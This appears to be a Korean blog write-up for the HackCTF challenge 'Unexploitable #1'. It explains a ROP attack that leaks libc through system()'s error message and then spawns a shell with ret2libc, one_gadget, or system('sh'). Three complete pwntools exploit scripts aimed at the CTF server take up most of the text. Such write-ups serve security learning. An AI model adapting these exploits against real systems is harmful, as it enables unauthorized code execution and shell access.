# 보호기법 확인
# process
system 함수 plt와 got가 주어져있어서 이것을 사용하면 된다.
"pop rdi; ret" gadget을 사용한다.
ROP를 진행하는데 처음에 libc leak을 위해 system 함수를 사용한다.
system 함수 인자로 명령어가 아닌 것을 줬을 때 이렇게 에러 메시지가 출력되는데, 이것을 사용해서 system 함수 인자인자로 특정 libc 함수 주소를 주면, 에러 메시지가 출력되면서 그 내용을 출력해줄 것이다.
이것을 leak헤서 libcBase를 구하고 system 함수와 "/bin/sh" 주소를 구한다.
그리고 다시 main으로 리턴한다.
main으로 다시 가고난 후 익스하는 방법은 여러가지 있다.
1. RTL
gadget을 사용해서 return address를 덮고 RTL을 진행했다.
그냥 p64(system) + 'AAAA' + p64(binsh)
이렇게 진행해도 상관없다.
2. one_gadget
return address를 one_gadget으로 덮어서 one_gadget을 실행시켜 쉘을 따는 방법이다.
3. system("sh"); 실행
이건 새롭게 알게된 방법이다.
IDA에서 보면 'fflush' 문자열이 있다.
여기서 'sh'만 가져오는 것이다..!
0x4003bb+4 = 0x4003bf
그럼 따로 leak할 필요없이 system@plt로 system("sh")을 만들면 쉘을 딸 수 있다!
# exploit code
1. ex.py
system_plt = elf.plt['system']
fgets_got = elf.got['fgets']
main = 0x4006dc
p1ret = 0x4007d3
one_gadget_off = 0x45216
pay = 'A'*(0x10 + 0x8)
pay += p64(p1ret) + p64(fgets_got) + p64(system_plt)
pay += p64(main)
p.sendlineafter("\n", pay)
#gdb.attach(p)
p.recvuntil("1: ")
fgets = u64(p.recv(6).ljust(8, '\x00'))
libcBase = fgets - libc.symbols['fgets']
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search("/bin/sh"))[0]
log.info("libcBase : "+hex(libcBase))
log.info("system : "+hex(system))
log.info("binsh: "+hex(binsh))
pay = 'A'*(0x10 + 0x8)
pay += p64(p1ret) + p64(binsh) + p64(system)
p.sendlineafter("\n", pay)
p.interactive()
2. ex2.py
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
system_plt = elf.plt['system']
fgets_got = elf.got['fgets']
main = 0x4006dc
p1ret = 0x4007d3
one_gadget_off = 0x45216
pay = 'A'*(0x10 + 0x8)
pay += p64(p1ret) + p64(fgets_got) + p64(system_plt)
pay += p64(main)
p.sendlineafter("\n", pay)
#gdb.attach(p)
p.recvuntil("1: ")
fgets = u64(p.recv(6).ljust(8, '\x00'))
libcBase = fgets - libc.symbols['fgets']
one_gadget = libcBase + one_gadget_off
log.info("libcBase : "+hex(libcBase))
pay = 'A'*(0x10 + 0x8)
pay += p64(one_gadget)
p.sendlineafter("\n", pay)
p.interactive()
3. ex3.py
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
system_plt = elf.plt['system']
p1ret = 0x4007d3
sh = 0x4003bf
pay = 'A'*(0x10 + 0x8)
pay += p64(p1ret) + p64(sh) + p64(system_plt)
p.sendlineafter("\n", pay)
p.interactive()
# exploit
[HackCTF] Beginner Heap (0) | 2020.01.22 |
---|---|
[HackCTF] Unexploitable #2 (0) | 2020.01.19 |
[HackCTF] UAF (0) | 2020.01.19 |
[HackCTF] Random Key (0) | 2020.01.18 |
[HackCTF] ROP (3) | 2020.01.16 |